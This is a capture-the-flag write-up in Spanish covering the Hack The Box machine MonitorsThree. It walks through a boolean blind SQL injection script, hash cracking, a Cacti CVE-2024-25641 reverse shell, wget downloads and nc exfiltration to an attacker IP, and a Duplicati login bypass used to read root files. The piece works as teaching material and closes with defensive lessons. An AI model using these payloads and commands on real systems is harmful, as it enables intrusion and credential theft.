MonitorsThree
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. MonitorsThree es una máquina Linux de dificultad media. El sitio principal esconde un formulario de recuperación de contraseña vulnerable a inyección SQL ciega basada en booleano, con el que extraemos carácter a carácter el hash MD5 del usuarioadminy lo crackeamos agreencacti2001. Esas credenciales abren un Cacti 1.2.26 alojado en el vhostcacti.monitorsthree.htb, vulnerable a CVE-2024-25641, que nos da RCE y shell comowww-data. Elconfig.phpde Cacti revela las credenciales de la base de datos; en ella encontramos los hashesbcryptde los usuarios, y el demarcuscae a12345678910. Para root, un servicio Duplicati escucha solo enlocalhost: tras un port forwarding con chisel, recuperamos laserver-passphrasede su base de datos SQLite, hacemos un bypass del login y, como Duplicati corre comoroot, restauramos/root/root.txta una ruta legible.
Reconocimiento
Escaneo inicial
Empezamos por un escaneo TCP completo de los 65535 puertos, para no dar nada por supuesto sobre lo que hay detrás:
nmap -p- --open -n -sS -Pn --min-rate 5000 -vvv 10.10.11.30
Discovered open port 22/tcp on 10.10.11.30
Discovered open port 80/tcp on 10.10.11.30
Completed SYN Stealth Scan at 00:35, 15.61s elapsed (65535 total ports)
Not shown: 64517 closed tcp ports (reset), 1016 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63Dos puertos y nada más: 22 (SSH) y 80 (HTTP). La columna REASON regala además un dato que no hay que pedir aparte, el TTL 63, que apunta a Linux (los sistemas de esa familia arrancan el contador en 64 y cada salto de enrutado le resta uno). Sobre esos dos puertos lanzamos la detección de versiones y los scripts por defecto:
nmap -p22,80 -sCV 10.10.11.30
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_ 256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelLa línea Did not follow redirect to http://monitorsthree.htb/ es el aviso de que el servidor responde por nombre y no por IP. whatweb lo confirma pidiendo las dos direcciones seguidas:
whatweb http://10.10.11.30
http://10.10.11.30 [301 Moved Permanently] HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)],
IP[10.10.11.30], RedirectLocation[http://monitorsthree.htb/], Title[301 Moved Permanently],
nginx[1.18.0]
http://monitorsthree.htb/ [200 OK] Bootstrap, Email[sales@monitorsthree.htb],
HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.30], JQuery, Script,
Title[MonitorsThree - Networking Solutions], X-UA-Compatible[IE=edge], nginx[1.18.0]Por IP responde un 301 y por nombre un 200: hay virtual hosting, así que el nombre tiene que resolver en nuestra máquina para poder navegar (en el laboratorio no hay DNS que lo haga por nosotros). La portada es una web corporativa estática con un correo de contacto, sales@monitorsthree.htb.

Descubrir el subdominio cacti.monitorsthree.htb
Como el dominio base no ofrece mucho, pasamos a fuzzing de virtual hosts. Con --append-domain, gobuster añade el dominio a cada palabra del diccionario y descubre cacti.monitorsthree.htb, que responde con un 302 hacia /cacti.
Antes de eso, el dominio base tiene que resolver, porque el servidor responde por nombre:
sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.30 monitorsthree.htbgobuster vhost -u http://monitorsthree.htb \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
--append-domain -t 100 | grep -v "Status: 400"
[+] Wordlist: subdomains-top1million-110000.txt
[+] Append Domain: true
Found: cacti.monitorsthree.htb Status: 302 [Size: 0] [--> /cacti]
Progress: 7772 / 114442 (6.79%)
Found: cacti.monitorsthree.htb Status: 302 [Size: 0] [--> /cacti]Lo añadimos a /etc/hosts en la misma línea del dominio base, que es como se declaran varios nombres para una sola IP:
sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.30 monitorsthree.htb cacti.monitorsthree.htbAl visitarlo aparece el panel de login de Cacti, una herramienta de monitorización de red en PHP. El pie de la página delata la versión: 1.2.26.

Esa versión es vulnerable a CVE-2024-25641, una ejecución remota de código. El problema es que el exploit requiere estar autenticado, así que primero necesitamos credenciales.
Acceso como admin (Cacti)
SQL injection ciega en el formulario de recuperación
Volviendo al sitio principal, el formulario de recuperación de contraseña (forgot_password.php) pide un nombre de usuario y contesta con un mensaje de estado. Ese mensaje es justo lo que lo convierte en un oráculo: si conseguimos que cambie según una condición que nosotros controlamos, el formulario nos está respondiendo "sí" o "no" a lo que le preguntemos. Empezamos con una comilla y una condición verdadera:
' OR SUBSTRING(database(),1,1)='M'-- -
Successfully sent password reset request!Y ahora la misma consulta cambiando solo el carácter comparado:
' OR SUBSTRING(database(),1,1)='C'-- -
Unable to process request, try again!Dos respuestas distintas para dos condiciones distintas, y ni un solo error de SQL por ninguna parte: eso es una inyección SQL ciega basada en booleano. No vemos datos, pero podemos preguntar "¿es este el carácter correcto?" tantas veces como haga falta. De paso, que la M mayúscula diera verdadero sobre un nombre en minúsculas no es casualidad: MySQL suele comparar cadenas con una collation insensible a mayúsculas.
Antes de extraer el nombre conviene saber cuántos caracteres tiene, y para eso el mismo oráculo vale con comparaciones numéricas. Se acota por descarte:
' OR LENGTH(database()) >= 16 -- -

Successfully sent password reset request!' OR LENGTH(database()) >= 17 -- -
Unable to process request, try again!Verdadero con 16 y falso con 17: el nombre mide exactamente 16 caracteres. Saberlo no es un capricho, es lo que le da al script una condición de parada fiable en vez de dejarlo tanteando.
Automatizamos la extracción con un pequeño script en Python que compara el carácter en cada posición:
#!/usr/bin/python3
import requests, string
URL = 'http://monitorsthree.htb/forgot_password.php'
CHARSET = "," + string.ascii_letters + string.digits + "_"
SUCCESS = 'Successfully sent password'
PAYLOAD = "'or SUBSTR(database(),{},1)='{}' -- -"
db_name = ''
with requests.Session() as session:
while True:
for char in CHARSET:
i = len(db_name)
resp = session.post(URL, data={'username': PAYLOAD.format(i + 1, char)})
if SUCCESS in resp.text:
db_name += char
break
else:
break
print(db_name)python3 sql.py
[16] monitorsthree_dbA partir de aquí solo cambia la consulta que va dentro del payload: el motor de fuerza bruta es el mismo. Preguntando a information_schema por las tablas de esa base de datos:
' OR (SELECT SUBSTR(GROUP_CONCAT(table_name), {},1) FROM information_schema.tables
WHERE table_schema='monitorsthree_db') = '{}' -- -
[54] invoices,customers,changelog,tasks,invoice_tasks,usersDe las seis, la que interesa es users. Repetimos contra information_schema.columns para saber qué guarda:
' OR (SELECT SUBSTR(GROUP_CONCAT(column_name), {}, 1) FROM information_schema.columns
WHERE table_schema='monitorsthree_db' AND table_name='users') = '{}' -- -
[62] id,username,email,password,name,position,dob,start_date,salaryYa con username y password localizadas, sacamos el primer usuario de la tabla:
' OR (SELECT SUBSTR(username, {}, 1) FROM monitorsthree_db.users LIMIT 0, 1) = '{}' -- -
[5] adminUn solo usuario en una tabla llamada users da que pensar, así que en vez de fiarnos lo comprobamos: si preguntamos por la longitud del nombre más corto de la tabla, un > 4 verdadero y un > 5 falso significan que el nombre más corto tiene 5 caracteres, es decir, admin mismo.
' OR (SELECT LENGTH(username) FROM monitorsthree_db.users ORDER BY LENGTH(username) LIMIT 1) > 4 -- -
Successfully sent password reset request!' OR (SELECT LENGTH(username) FROM monitorsthree_db.users ORDER BY LENGTH(username) LIMIT 1) > 5 -- -
Unable to process request, try again!Confirmado: no hay ningún usuario más corto que admin escondido detrás del LIMIT. Extraemos entonces su password:
' OR (SELECT SUBSTR(password, {}, 1) FROM monitorsthree_db.users WHERE username='admin') = '{}' -- -
[32] 31a181c8372e3afc59dab863430610e8Crackear el hash y entrar en Cacti
Son 32 caracteres hexadecimales: un MD5 sin sal. Lo crackeamos con john contra rockyou:
El hash se guarda en un fichero con el formato que espera john, usuario:hash, para que la salida diga a quién pertenece:
nano pass.txt
admin:31a181c8372e3afc59dab863430610e8john --wordlist=rockyou.txt --format=Raw-MD5 pass.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
greencacti2001 (admin)
1g 0:00:00:00 DONE (2024-09-22 21:33) 2.127g/s 16563Kp/s 16563Kc/s 16563KC/s greenconverse..greenbank14
Session completed.La contraseña es greencacti2001. Con admin:greencacti2001 entramos en el panel de Cacti 1.2.26 y, ahora ya autenticados, podemos lanzar el exploit.


Shell como www-data
CVE-2024-25641: RCE en Cacti 1.2.26
La vulnerabilidad CVE-2024-25641 vive en la función import_package() de lib/import.php. Esa función confía ciegamente en el nombre y el contenido de los ficheros incluidos en un "package" de Cacti, y permite path traversal con ../../../: es decir, podemos escribir un fichero arbitrario (un webshell PHP) en la ruta que queramos dentro del servidor.
El propio aviso del fabricante lo describe con más precisión de la que se suele leer en un CVE, y de paso confirma el requisito que acabamos de cubrir:

Cacti <= 1.2.26 (import.php) Remote Code Execution Vulnerability
[-] Affected Versions:
Version 1.2.26 and prior versions.
[-] Vulnerability Description:
The vulnerability is located within the "import_package()" function defined into the /lib/import.php
script. This function blindly trusts the filename and file content provided within the uploaded XML
data, and writes such files into the Cacti base path (or even outside, since Path Traversal sequences
are not filtered). This can be exploited to write or overwrite arbitrary files on the web server,
leading to execution of arbitrary PHP code or other security impacts.
Successful exploitation of this vulnerability requires an user account having the
"Import Templates" permission.Ese último párrafo es el que explica por qué había que crackear el hash antes: sin cuenta autenticada con permiso de importación no hay vector.
Usamos un exploit público que automatiza el empaquetado y la subida (repo). Tras autenticarse con nuestras credenciales, escribe el webshell y nos devuelve ejecución de comandos.
Un detalle que cuesta un rato si no se ve venir: el script sirve el payload por HTTP desde el directorio en el que se ejecuta, así que hay que lanzarlo desde la carpeta del propio exploit. Si se ejecuta desde otro sitio, la víctima descarga un fichero vacío y la shell nunca llega.
python3 exploit.py -u http://cacti.monitorsthree.htb -l admin -p greencacti2001 \
--lhost 10.10.15.39 --lport 4444Recibimos la shell como www-data.
nc -lvnp 4444Shell como marcus
Enumeración inicial y credenciales en config.php
Con la shell recién ganada lo primero es hacerse una idea del sistema, y para eso subimos linpeas.sh (repo) desde un servidor HTTP levantado en nuestra máquina:
wget http://10.10.15.39/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
--2024-09-23 11:19:37-- http://10.10.15.39/linpeas.sh
Connecting to 10.10.15.39:80... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 823059 (804K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 100%[===================>] 803.77K 1.62MB/s in 0.5s
2024-09-23 11:19:38 (1.62 MB/s) - 'linpeas.sh' saved [823059/823059]El barrido automático no destapa ningún SUID raro ni ninguna tarea evidente, pero eso no significa que no haya nada: significa que hay que mirar donde la herramienta no sabe mirar. Y en una máquina cuyo servicio central es Cacti, el sitio obvio es su propia configuración. El config.php de la instalación guarda las credenciales de la base de datos en texto plano.
cat /var/www/html/cacti/include/config.php
$database_type = 'mysql';
$database_default = 'cacti';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';Hashes bcrypt en la tabla user_auth
Nos conectamos a MariaDB con esas credenciales y miramos primero qué hay, antes de ir a ciegas a una tabla concreta:
mysql -u cactiuser -pcactiusershow databases;
use cacti;
show tables;mysql -ucactiuser -pcactiuser
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 192
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
MariaDB [(none)]>
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| cacti |
| information_schema |
| mysql |
+--------------------+
3 rows in set (0.001 sec)
MariaDB [(none)]> use cacti;
Database changed
MariaDB [cacti]> show tables;
+-----------------------------------+
| Tables_in_cacti |
+-----------------------------------+
| aggregate_graph_templates |
| aggregate_graph_templates_graph |
| aggregate_graph_templates_item |
| aggregate_graphs |
...Entre las decenas de tablas de Cacti la que guarda los usuarios y sus contraseñas es user_auth:
SELECT username, password FROM user_auth;Antes de volcar nada conviene saber qué columnas trae la tabla, para pedir solo las dos que importan:
show columns from user_auth;
| Field | Type | Null | Key | Default | Extra |
| id | mediumint(8) unsigned| NO | PRI | NULL | auto_increment |
| username | varchar(50) | NO | MUL | 0 | |
| password | varchar(256) | NO | | | |
| realm | mediumint(8) | NO | MUL | 0 | |
| full_name | varchar(100) | YES | | 0 | |
| email_address | varchar(128) | YES | | NULL | |
+---------+--------------------------------------------------------------+
| username | password |
+---------+--------------------------------------------------------------+
| admin | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G |
| guest | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu |
| marcus | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK |
+---------+--------------------------------------------------------------+El prefijo $2y$ identifica bcrypt, y un identificador de hashes lo confirma sin necesidad de fiarse de la memoria:

$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK
Posibles algoritmos: bcrypt $2*$, Blowfish (Unix)Nos interesa el de marcus, porque es un usuario real del sistema (con /bin/bash) y no solo una cuenta de la aplicación. Lo crackeamos con john:
john --wordlist=rockyou.txt --format=bcrypt hashes.txt
12345678910 (marcus)La contraseña de marcus es 12345678910. Con su marcus cambiamos de usuario y cogemos user.txt.
su marcus
# password: 12345678910
cat /home/marcus/user.txt

marcus@monitorsthree:~$ cat user.txt
3e62c0382dbb451102f9c24f0e078414Shell como root
Un servicio interno: Duplicati en localhost
Enumerando los servicios que escuchan, aparece uno atado a 127.0.0.1:8200 que desde fuera no es accesible. Para llegar a él montamos un port forwarding con chisel (repo): levantamos el servidor en nuestra máquina y, desde la víctima, un cliente en modo reverse que publica el puerto interno 8200 en nuestro 9090.
chisel no está en la máquina, así que hay que llevarlo: lo servimos desde nuestro directorio con un servidor HTTP y lo descargamos con wget desde la víctima.
Primero hay que traérselo a la máquina atacante, desde los releases del proyecto:
sudo wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
sudo gunzip chisel_1.7.7_linux_amd64.gz
python -m http.server 80 < chisel_1.7.7_linux_amd64
--2024-09-23 23:58:05-- https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-...
Length: 3234355 (3.1M) [application/octet-stream]
2024-09-23 23:58:06 (14.7 MB/s) - 'chisel_1.7.7_linux_amd64.gz' saved [3234355/3234355]

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...wget http://10.10.15.39/chisel_1.7.7_linux_amd64
chmod +x chisel_1.7.7_linux_amd64
--2024-09-23 22:00:44-- http://10.10.15.39/chisel_1.7.7_linux_amd64
Connecting to 10.10.15.39:80... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 8077312 (7.7M) [application/octet-stream]
Saving to: 'chisel_1.7.7_linux_amd64'
chisel_1.7.7_linux_ 100%[===================>] 7.70M 2.98MB/s in 2.6s
2024-09-23 22:00:47 (2.98 MB/s) - 'chisel_1.7.7_linux_amd64' saved [8077312/8077312]
marcus@monitorsthree:/tmp$ ls -l
-rwxrwxr-x 1 marcus marcus 8077312 Jan 31 2022 chisel_1.7.7_linux_amd64Con el binario en su sitio y ya ejecutable, montamos el túnel:
# en el atacante
chisel server -p 9292 --reverse
# en la víctima
./chisel client 10.10.15.39:9292 R:9090:127.0.0.1:8200Al abrir http://localhost:9090 aparece el login de Duplicati, una herramienta de copias de seguridad. El servicio corre como root, así que controlarlo equivale a comprometer la máquina.

Duplicati
Password
[ ]
[ Sign In ]Recuperar la server-passphrase de la base de datos SQLite
Antes de tocar el panel conviene saber dónde vive el servicio en el disco. Un find por el nombre lo sitúa:
find / -name duplicati 2>/dev/null
/opt/duplicati
/etc/cron.d/duplicatiDos rutas: el directorio de la instalación y una entrada de cron que lo arranca. Dentro de /opt/duplicati/config está Duplicati-server.sqlite, la base de datos donde el servicio guarda su configuración. Lo exfiltramos a nuestra máquina con nc (una escucha en el atacante que redirige a fichero, y en la víctima el fichero por la entrada estándar):
# en el atacante
nc -lvp 4444 > Duplicati-server.sqlite
# en la víctima
nc 10.10.15.39 4444 < Duplicati-server.sqlite
listening on [any] 4444 ...
connect to [10.10.15.39] from monitorsthree.htb [10.10.11.30] 43082Con la copia local, la abrimos con sqlite3. En la tabla Option está la server-passphrase, base de la autenticación:
sqlite3 Duplicati-server.sqlite "SELECT * FROM Option;"
server-passphrase | Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
server-passphrase-salt | xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=Bypass del login con la passphrase
Duplicati no compara la contraseña en claro: el navegador hace un reto con nonce y la passphrase. Que ese valor no sea la contraseña original sino un derivado se ve en el propio formato, y un identificador de hashes lo confirma:

Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
Posibles algoritmos: Base64(unhex(SHA-256($plaintext)))Es decir, la server-passphrase almacenada es la contraseña ya hasheada y codificada en Base64. Como el cálculo del reto parte justo de ahí, con ella podemos reproducirlo y autenticarnos sin conocer la original (artículo de referencia). Primero la pasamos de Base64 a hexadecimal, que es el formato que espera el script de bypass que se ejecuta en la consola del navegador:
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87aCon ese valor completamos el bypass de autenticación y entramos en el panel como administrador de Duplicati.

Next scheduled task: Cacti 1.2.26 Backup Tomorrow at 1:00 PM
Cacti 1.2.26 Backup
Last successful backup: Today at 1:00 PM (took 00:00:05)
Next scheduled run: Tomorrow at 1:00 PM
Source: 60.02 MB
Backup: 19.41 MB / 4 VersionsBackup y restauración como root
Duplicati corre como root, y sus operaciones de copia y restauración heredan esos privilegios. La idea es sencilla: si le pedimos que copie /root y luego que restaure lo copiado en una carpeta nuestra, la lectura del fichero la hace él, con sus permisos, no nosotros.
El asistente son cinco pasos. En el primero solo hace falta un nombre, y se deja el cifrado por defecto sin passphrase, que para lo que queremos sobra:

En el segundo se elige dónde deja la copia. La ruta empieza por /source/ porque dentro del contenedor de Duplicati la raíz real del sistema está montada ahí:

Y en el tercero, qué copiar. El árbol permite navegar el sistema de ficheros entero con los privilegios del servicio, así que se marca directamente el fichero que interesa:


Creado el trabajo, hay un paso que es fácil saltarse: la copia hay que ejecutarla. Mientras el trabajo nuevo muestre Last successful backup: Never no existe ningún contenido que restaurar, así que primero se pulsa Run now.

Cacti 1.2.26 Backup
Last successful backup: Today at 9:37 PM (took 00:00:10)
root
Operations: Run now | Restore files ...
Last successful backup: Never - Run now
root
Última copia de seguridad exitosa hoy a las 22:03 (llevó 00:00:00)
Origen: 33 bytes
Copia de seguridad: 3,74 KB / 1 VersiónLos 33 bytes de origen son la confirmación de que ha copiado el fichero de verdad: es el tamaño exacto de una flag de HTB (32 caracteres más el salto de línea).
Con la copia hecha, en Restore files se elige el fichero a recuperar:

Y en las opciones marcamos Pick location apuntando a una ruta escribible por marcus en lugar de la original:

Where do you want to restore the files to? Pick location
Folder path: /source/home/marcus/root.txt
How do you want to handle existing files? Overwrite
Permissions: Restore read/write permissionsEl /source/ del principio no es un capricho: dentro del contenedor de Duplicati la raíz del sistema está montada ahí, así que /source/home/marcus es el /home/marcus real de la máquina.

Con la restauración completada, en el directorio de marcus aparece un root.txt que en realidad es la carpeta destino que indicamos, y dentro, el fichero ya legible.
ls
cd root.txt
cat root.txt
marcus@monitorsthree:~$ ls
root.txt user.txt
marcus@monitorsthree:~$ cd root.txt
marcus@monitorsthree:~/root.txt$ ls
root.txt
marcus@monitorsthree:~/root.txt$ cat root.txt
f212ea96c5e504d9b442adf13d4a06a3Máquina rooteada.

Cadena de ataque
HTTP monitorsthree.htb (80)
│ forgot_password.php: SQLi ciega booleana
▼
monitorsthree_db.users ─► admin MD5 31a181... ─► john ─► greencacti2001
│ vhost cacti.monitorsthree.htb ─► Cacti 1.2.26
▼
login admin:greencacti2001 ─► CVE-2024-25641 (import_package RCE) ─► www-data
│ config.php: cactiuser:cactiuser
▼
MariaDB user_auth ─► marcus bcrypt ─► john ─► 12345678910 ─► user.txt
│ chisel: 127.0.0.1:8200 ─► localhost:9090 (Duplicati, root)
▼
Duplicati-server.sqlite ─► server-passphrase ─► bypass de login
│ backup de /root + restore (como root)
▼
root.txtLecciones aprendidas
- Una inyección ciega también lo filtra todo, solo que despacio. El
forgot_password.phpdevolvía dos respuestas distintas según una condición booleana, y eso basta para reconstruir la base de datos carácter a carácter con SQLi ciega. Consultas parametrizadas habrían cortado el vector de raíz. - Un hash sin sal es una contraseña a un diccionario de distancia. El MD5 de
admincayó al instante; elbcryptdemarcus, al ser una contraseña débil (12345678910), también. El crackeo solo depende de la calidad de la contraseña y del algoritmo. - El fichero de configuración es un llavero. El
config.phpde Cacti guardaba las credenciales de la base de datos en claro, y desde ahí llegamos a los hashes de los usuarios. Conviene separar secretos del código y restringir su lectura. - Lo que escucha en localhost no es invisible. Duplicati solo aceptaba conexiones internas, pero un port forwarding lo trae a nuestro alcance. La segmentación de red ayuda, pero no sustituye a autenticar y endurecer cada servicio interno.
- Una passphrase almacenada es una credencial. Guardar la
server-passphraseen una base de datos legible permitió el bypass del login sin conocer la contraseña original. Que un servicio de backup corra comorootconvierte ese descuido en compromiso total: lectura (y escritura) de cualquier fichero del sistema.